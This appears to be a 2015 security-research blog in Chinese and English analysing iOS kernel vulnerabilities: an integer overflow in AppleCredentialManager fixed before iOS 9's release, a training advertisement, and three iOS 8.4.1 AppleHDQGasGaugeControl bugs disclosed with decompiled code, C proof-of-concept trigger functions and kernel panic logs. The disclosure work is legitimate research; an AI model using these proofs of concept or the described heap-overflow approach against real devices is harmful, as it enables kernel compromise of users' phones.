Sep, 2015

一个“短命”的iOS内核漏洞

漏洞的生命周期一直是一个很有意思的话题。人们(特别是媒体)通常对两类安全漏洞特别感兴趣。一类是许久不被修复的安全漏洞。这类漏洞通常反映出厂商对安全的漠视,甚至可以激起厂商和安全社区的对立,因此颇具新闻价值。另外一类是存在已久但刚被发现和公开的安全漏洞。这类漏洞一经公布,有时候会跳出很多人来“认货”,高喊自己手中的存货被曝光了。这类漏洞背后隐含的问题是很难估计这些漏洞的影响范围(例如漏洞已经被多少人发现了、已经被多少攻击利用了),因此特别适合各种阴谋论。

在这篇blog中,我们要分享一个非常“短命”的iOS内核漏洞。这个漏洞在iOS 9的测试版中被引入,但是在iOS 9的正式版中被修复,是个典型的存活周期短、影响范围极其有限的漏洞。之所以分享这个漏洞,一是这个漏洞成因非常典型,但反映出苹果对代码安全非常重视从而确保漏洞的及时修复;二是讨论一下简单模糊测试(Fuzz Testing)在挖掘这类漏洞时候的低效问题。

漏洞分析

漏洞存在于名为AppleCredentialManager的内核扩展模块。该模块通过AppleCredentialManagerUserClient与用户态程序通信,AppleCredentialManagerUserClient只有一个externalmethod。这个selector 0的处理函数可以接受任意长度的struct输入。下面简要描述一下漏洞的触发流程:

  • 在处理输入时,AppleCredentialManagerUserClient会首先检查输入数据的前四个字节是否为一个特定的Magic Number 0x53435244,如果不是则不会进一步处理这个输入。
  • AppleCredentialManagerUserClient进一步根据输入数据(下文简称input)的第5个字节判断数据的类型,即根据这个opcode(即input[5])进行数据分发。
  • 在iOS 8.4.1 中,AppleCredentialManagerUserClient接受的opcode范围是从0到10,但是在iOS 9的beta版和正式中,AppleCredentialManagerUserClient接受的opcode范围扩展到从0到19。
  • 在iOS 9 beta 版中处理opcode=11的输入数据时,AppleCredentialManagerUserClient会进一步解析从input+8开始的数据。这段数据的组织结构示意图如下:

|一个以\0结尾的字符串 | 4字节(代表后继数据长度) | 二进制数据 | paramsCount | param_0 | param_1 | …. | param_n|

  • paramsCount代表后继param结构的个数,而每个param结构的大小为12字节。在处理paramsCount和随后的params的时候,AppleCredentialManagerUserClient的处理逻辑如下:
memmove(&paramsCount, input+ offset_of_paramsCount, 4u);
if(paramsCount!=0){
    parametersBuffer = (void *)IOMalloc(12 * paramsCount);
  • 到这里问题已经显现。由于缺乏对 paramsCount的检查,计算内存分配size的时候存在整数溢出:如果设置 paramsCount为超大数值(例如0x80000001),会导致实际上仅分配少量字节。分配内存成功后,AppleCredentialManagerUserClient进一步将input中的param填充到分配的内存里,从而导致堆溢出。
  • 此外,填充内存的循环以paramsCount为边界。通常这样的漏洞会最终引起内核panic,很难利用。但在AppleCredentialManagerUserClient的填充过程中,会判断输入param的有效性。如果发现输入的param无效,则会跳出循环,为漏洞利用创造了条件。

漏洞修复

在iOS 9的正式版中,我们发现该漏洞已经被修复。AppleCredentialManagerUserClient增加了多处检查。

首先,AppleCredentialManagerUserClient增加检查,确保paramsCount不能大于10。

memmove(&paramsCount, input+ offset_of_paramsCount, 4u);
if ( paramsCount >= 0xB )
{
...
}

对于过大的paramsCount,内核会产生下面的assert报警

AssertMacros: paramsCount <= 10 (value: 0x0), file: /BuildRoot/Library/Caches/com.apple.xbs/Sources/AppleCredentialManager/AppleCredentialManager-83.1.1/common/utils.c, line: 440

其次,在内存分配前,AppleCredentialManagerUserClient增加了乘法溢出的判断

if ( paramsCount != 12 * paramsCount / 12 )
{
...
}

简单Fuzzing的实效

对于这种漏洞,简单的主动式Fuzzing(即通过随机构造畸形样本对目标代码测试)会特别低效。只有当样本前四个字节是0x53435244并且第5个字节在0-19范围内,才能够对代码进行有效测试。而随机生成的样本很难满足这种约束。在PC端,大量改进代码Fuzzing的技术已经被提出并应用(例如符号执行),但在iOS内核场景下如何结合高级模糊测试技术还存在很多难题尚待解决。

2015中国互联网安全大会(ISC)演讲&培训

中国互联网安全大会将于2015.9.29-30号于北京国家会议中心举办,盘古团队首席科学家王铁磊作为智能移动终端攻防论坛主席将会分享“iOS安全体系演进过程及漏洞分析”的议题。同时在9.28号的安全训练营中盘古团队首次提供面向安全研究人员的培训,具体培训信息:

培训主题:
iOS用户态漏洞挖掘与利用

培训内容:
首先介绍iOS系统上的各种安全机制,讲解iOS沙盒、地址随机化、代码签名等机制的实现原理和常见对抗策略。随后结合真机操作,进一步介绍越狱环境下的开发调试手段。在漏洞挖掘和利用方面,重点讲解iOS平台上进程间通信漏洞的挖掘及POC分析方法,最后结合一个iOS8.2下的真实漏洞案例讲解如何编写漏洞利用的Exploit。

培训目录:
1. iOS 安全概述
1.1 主要安全机制及演进过程
1.2 与其他系统安全机制比较
2. iOS 越狱环境开发与调试
2.1 XCode开发
2.2 命令行开发
2.3 动态调试
3. Exploit开发基础
3.1 ARM指令简介
3.2 常见漏洞原理分析
4. iOS进程间通信简介
4.1 Mach Message
4.2 XPC
5. iOS进程间通信漏洞挖掘与分析
5.1 挖掘过程
5.2 典型漏洞POC开发
6. 绕过ASLR和DEP: ROP Exploit开发
6.1 查找ROP gadget
6.2 构造ROP链
6.3 基于XPC的heap spraying

学员要求:
– 了解基本的漏洞原理及利用技术
– 有ARM架构的逆向工程经验
– 熟悉常见的漏洞挖掘手段
– 有编码经验

培训环境(学员准备):
– 运行最新OSX 10.10系统的Mac电脑
– 安装XCode 6.4以上版本
– 安装IDA Pro 6.5以上版本

培训环境(培训方提供)
– iOS8.4越狱环境的iPhone4S

同时在培训后的交流环节会讨论iOS越狱的技术手段及我们公布的iOS8.4.1内核漏洞的细节

报名培训请点击

iOS 8.4.1 Kernel Vulnerabilities in AppleHDQGasGaugeControl

When auditing iOS kernel executable, we found that the code quality of com.apple.driver.AppleHDQGasGaugeControl is very bad. In this blog, we will disclose 3 vulnerabilities in this kernel extension on the latest public iOS (version 8.4.1). More importantly, one of these bugs is a perfect heap overflow vulnerability that allows us to defeat all kernel mitigations and gain code execution in the kernel, just by exploiting this single vulnerability.

1st – Stack overflow bug in the function for selector 7

The handler function takes 3 input scalars and 1 output scalar. The following code shows that stack overflow may occur since there’s no restriction for inputScalar[1]. If inputScalar[1] is a very large number, the loop will corrupt the stack.

  int v17; // [sp+0h] [bp-3Ch]@5
  int v18; // [sp+10h] [bp-2Ch]@25

  if ( inputScalar[1] )
  {
    v10 = 0;
    do
    {
      v11 = -64;
      if ( (1 << v10) & inputScalar[0] )
        v11 = -2;
      *((_BYTE *)&v17 + v10++) = v11;       // v17 is on the stack
    }
    while ( inputScalar[1] != v10 );
  }

The POC is extremely simple. We try to open the service at first and call the panic1 function to trigger the stack overflow.

void panic1(io_connect_t connection)
{
    uint64_t inputScalar[3];
    uint64_t outputScalar[1] = {0};
    uint32_t outputCnt = 1;

    inputScalar[0] = 0xF000000;
    inputScalar[1] = 0xF000000;
    inputScalar[2] = 0xF000000;

    IOConnectCallMethod(connection, 7, inputScalar, 3, NULL, 0, outputScalar, &outputCnt, NULL, NULL);
}

int main(int argc, const char * argv[])
{
    CFMutableDictionaryRef matching = IOServiceMatching("AppleHDQGasGaugeControl");
    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
    io_connect_t connection;
    kern_return_t kr  = IOServiceOpen(service, mach_task_self(), 0, &connection);
    if(KERN_SUCCESS == kr){
        panic1(connection);
    }
    return 0;
}

PANIC LOG

panic(cpu 1 caller 0x950b8e95): kernel abort type 4: fault_type=0x3, fault_addr=0x93034000
r0:   0x000004ac  r1: 0x00000001  r2: 0x93033b54  r3: 0xffffffc0
r4:   0x0f000000  r5: 0x971ddc00  r6: 0x0f000000  r7: 0x93033b90
r8:   0x93033bd0  r9: 0x145d1371 r10: 0x0f000000 r11: 0x9540a390
r12:  0x00f42400  sp: 0x93033b54  lr: 0x95ccffcb  pc: 0x95ccfeda
cpsr: 0x60000033 fsr: 0x00000807 far: 0x93034000

Debugger message: panic
OS version: 12H321
Kernel version: Darwin Kernel Version 14.0.0: Wed Aug  5 19:24:44 PDT 2015; root:xnu-2784.40.6~18/RELEASE_ARM_S5L8950X
Kernel slide:     0x0000000015000000
Kernel text base: 0x95001000
  Boot    : 0x55eebb5c 0x00000000
  Sleep   : 0x00000000 0x00000000
  Wake    : 0x00000000 0x00000000
  Calendar: 0x55eebbf2 0x000413c9

Panicked task 0xb6d20318: 247 pages, 1 threads: pid 180: m1
panicked thread: 0x813f75e0, backtrace: 0x93033820
        0x950b5cc9
        0x950b6061
        0x9501ee2b
        0x950b8e95
        0x950b1800
        0xc0c0c0c0   <------ the stack is corrupted
        0x00000000

2nd – Out-of-bound memory access bug in the function for selector 14

The handler function doesn’t taket any input, instead it will deal with the share memory. As discussed in our Blackhat talk, it is very easy to control the content of the share memory via calling IOConnectMapMemory. By checking the start function we will see how the driver initializes the share memory.

  v8 = (IOBufferMemoryDescriptor *)IOBufferMemoryDescriptor::withOptions(0x10000, 4096, 1);
  *(_DWORD *)(v2 + 100) = v8;
  if ( v8 )
  {
    mapAddr = (void *)(*(_DWORD (__cdecl **)(IOBufferMemoryDescriptor *))(*(_DWORD *)v8 + 220))(v8);
    *(_DWORD *)(v2 + 104) = mapAddr;    // object+104 stores the memory address
    bzero_130(mapAddr, 0x1000u);
    *(_DWORD *)(*(_DWORD *)(v2 + 104) + 20) = 339;  // memory+20 stores the total count

Actually the memory is used to store an array of data which is 12 bytes of each element. So 4KB memory can hold 339 elements. Then let’s further check how the function deals with the share memory.

      mapAddr = *(_DWORD *)(self + 104);    // get memory address of share memory
      // mod 339 to get position for writing
      v9 = sub_80CF4A20(*(_QWORD *)(mapAddr + 16), *(_QWORD *)(mapAddr + 16) >> 32);
      v10 = v9;
      v11 = mapAddr + 12 * v9    // v11 may point outside the memory
      *(_BYTE *)(v11 + 28) = v7;
      v11 += 28;
      *(_BYTE *)(v11 + 3) = BYTE3(v7);
      *(_BYTE *)(v11 + 2) = (unsigned int)v7 >> 16;
      *(_BYTE *)(v11 + 1) = BYTE1(v7);
      *(_QWORD *)(v11 + 4) = *(_QWORD *)(mapAddr + 8); // writing with controlled source

The problem is that the driver trusts the total count number stored in share memory which could be easily modified. So if we are able to know the memory address (which may require some other information leak bugs) we could make v11 points to any 12 bytes aligned kernel address. And then we can modify a qword value to whatever we want. Please check the function panic2 below.

void panic2(io_connect_t connection)
{
    vm_address_t address = 0;
    vm_size_t vmsize = 4096;
    kern_return_t kr = IOConnectMapMemory(connection, 0, mach_task_self(), &address, &vmsize, kIOMapAnywhere);
    if (kr != KERN_SUCCESS || vmsize != 4096) {
        return;
    }

    *(uint32_t *)(address + 16) = 0xAAAAAAA;
    *(uint32_t *)(address + 20) = 0;  // change 339 to 0

    IOConnectCallMethod(connection, 14, NULL, 0, NULL, 0, NULL, NULL, NULL, NULL);
}

PANIC LOG

panic(cpu 1 caller 0x908b8e95): kernel abort type 4: fault_type=0x3, fault_addr=0x5f33b014
r0:   0x00000000  r1: 0xdf33b000  r2: 0x5f33aff8  r3: 0x00000000
r4:   0x0aaaaaaa  r5: 0x929abe40  r6: 0x00000001  r7: 0xddf43ba4
r8:   0x0000009e  r9: 0x068e5372 r10: 0x00000000 r11: 0x0000009e
r12:  0x00f42400  sp: 0xddf43b60  lr: 0x00000000  pc: 0x914d04c6
cpsr: 0x80000033 fsr: 0x00000805 far: 0x5f33b014

Debugger message: panic
OS version: 12H321
Kernel version: Darwin Kernel Version 14.0.0: Wed Aug  5 19:24:44 PDT 2015; root:xnu-2784.40.6~18/RELEASE_ARM_S5L8950X
Kernel slide:     0x0000000010800000
Kernel text base: 0x90801000
  Boot    : 0x55eeb77c 0x00000000
  Sleep   : 0x00000000 0x00000000
  Wake    : 0x00000000 0x00000000
  Calendar: 0x55eeb8b0 0x00004a05

Note: The offset of share memory above is for 32bit kernel

3rd – Heap overflow bug in the function for selector 12

The input of this handler function is one scalar number and one structure. Also it requires inputScalar[0] <= 3 and (inputStructSize & 7) == 0. Let’s look at the buggy code.

  v5 = a1;
  if ( inputSize )
  {
    v6 = (char *)inputStruct + 4;
    v7 = 0;
    v8 = 0;
    while ( 1 )
    {
      v9 = (int)&v6[8 * v8];
      v10 = *(_BYTE *)(v9 + 3);
      v11 = *(_BYTE *)(v9 + 1);
      v12 = *(_BYTE *)(v9 + 2);
      result = 0xE00002C2;
      v14 = (unsigned __int8)v6[8 * v8] | (v11 << 8) | ((v12 | (v10 << 8)) << 16);
      if ( v14 > 19 )
      {
        if ( v14 != 20 )
          return result;
        v15 = 32;
      }
      else
      {
        v15 = 4;
        if ( (unsigned int)v14 >= 3 && v14 != 10 )
        {
          if ( v14 != -1 )
            return result;
          goto LABEL_12;    // break if -1 is found, at this time v8 < inputSize
        }
      }
      ++v8;
      v7 += v15;
      if ( v8 >= inputSize )
        goto LABEL_12;  // break normally with v8 == inputSize
    }
  }
  v7 = 0;
  v8 = 0;
LABEL_12:
  v16 = (void *)IOMalloc_130(8 * v8);       // memory size is 8*v8
  *(_DWORD *)(v5 + 8) = v16;
  if ( v16 )
  {
    memmove_130(v16, inputStruct, 8 * inputSize);  // heap overflow when v8 < inputSize
    result = 0;
    *(_DWORD *)v5 = v8;
    *(_DWORD *)(v5 + 4) = v7;
  }

Through this code we will see it checks the input structure every 8 bytes and takes -1 as an end. And then it allocates memory according to the size may be smaller than the real input structure size. BUT when copying memory it use the real input structure size again, which causes a heap overflow.

This is really a perfect bug since we can control:
– the size of the heap to be overflown, that means you may choose any kalloc zone to attack
– the size and content of data to overwrite after the heap

Combining with the vm_map_copy heap Fengshui skill, this single bug allows us to defeat all current kernel mitigations. We give a simple POC here.

void panic3(io_connect_t connection)
{
    uint64_t inputScalar[1];
    uint8_t structData[1024];
    uint32_t structSize = 1024;

    inputScalar[0] = 0;
    memset(structData, 0x88, sizeof(structData));
    *(uint32_t *)&structData[4] = 1;
    *(uint32_t *)&structData[4+8] = 0xFFFFFFFF;  // indicate end

    IOConnectCallMethod(connection, 12, inputScalar, 1, structData, structSize, NULL, NULL, NULL, NULL);
}

PANIC LOG

panic(cpu 0 caller 0x95a47d41): "a freed zone element has been modified in zone kalloc.8: expected 0xf66f1cb2 but found 0x88888888, bits changed 0x7ee7943a, at offset 4 of 8 in element 0xbce83c08, cookies 0x7ee7943a 0x7ed803f9"
Debugger message: panic
OS version: 12H321
Kernel version: Darwin Kernel Version 14.0.0: Wed Aug  5 19:24:44 PDT 2015; root:xnu-2784.40.6~18/RELEASE_ARM_S5L8950X
Kernel slide:     0x0000000015a00000
Kernel text base: 0x95a01000
  Boot    : 0x55eeb9ec 0x00000000
  Sleep   : 0x00000000 0x00000000
  Wake    : 0x00000000 0x00000000
  Calendar: 0x55eebb50 0x000d2a69

End

Note that these vulnerabilities cannot be triggered inside the container sandbox. And we confirmed that the 2nd and the 3rd bugs are already fixed in iOS 9 beta5.